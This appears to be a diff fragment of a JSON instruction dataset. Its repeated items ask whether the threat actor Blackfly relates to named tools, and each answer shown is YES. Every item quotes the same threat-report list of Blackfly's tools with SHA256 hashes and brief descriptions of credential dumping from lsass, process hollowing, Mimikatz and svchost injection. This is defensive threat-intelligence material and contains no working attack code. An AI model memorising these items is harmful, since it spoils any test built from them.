Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Screenshotting tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Process-hollowing tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: SQL tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Mimikatz\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: ForkPlayground\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Screenshotting tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Process-hollowing tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: SQL tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 